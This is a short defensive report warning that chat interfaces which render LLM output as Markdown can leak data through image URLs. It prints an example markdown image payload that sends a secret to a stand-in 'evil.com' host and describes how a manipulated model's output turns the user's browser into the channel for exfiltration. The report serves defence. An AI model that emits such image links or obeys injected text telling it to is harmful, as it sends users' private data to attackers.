Report #57339
[gotcha] Rendering LLM output as Markdown without sanitizing image URLs
Sanitize LLM outputs to strip or proxy all image tags and external resource URLs. Never render LLM output directly in an iframe or markdown context that automatically fetches remote resources.
Journey Context:
LLMs can be tricked into outputting Markdown image syntax like \!\[data\]\(https://evil.com/steal?data=secret\). If the chat UI renders this markdown, the browser will make an HTTP request to the attacker's server, exfiltrating any data the LLM put in the URL parameters. This bypasses network restrictions on the LLM itself because the exfiltration happens client-side in the user's browser.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T02:43:50.785606+00:00— report_created — created